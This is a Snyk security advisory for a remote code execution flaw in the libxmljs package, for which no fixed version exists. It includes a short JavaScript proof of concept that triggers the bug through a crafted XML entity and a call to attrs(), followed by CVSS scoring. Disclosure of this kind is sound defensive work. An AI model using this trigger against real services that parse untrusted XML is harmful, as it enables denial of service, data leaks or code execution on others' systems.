Remote Code Execution (RCE) Affecting libxmljs package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

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  • Snyk ID SNYK-JS-LIBXMLJS-6091649
  • published 3 May 2024
  • disclosed 27 Nov 2023
  • credit Uriya Yavnieli

How to fix?

There is no fixed version for libxmljs.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. An attacker can cause denial of service, data leak, infinite loop, and execute arbitrary code on 32-bit systems with the XML_PARSE_HUGE flag enabled by submitting a malicious XML document.

PoC


const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
 'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

References

CVSS Scores

version 3.1
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Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High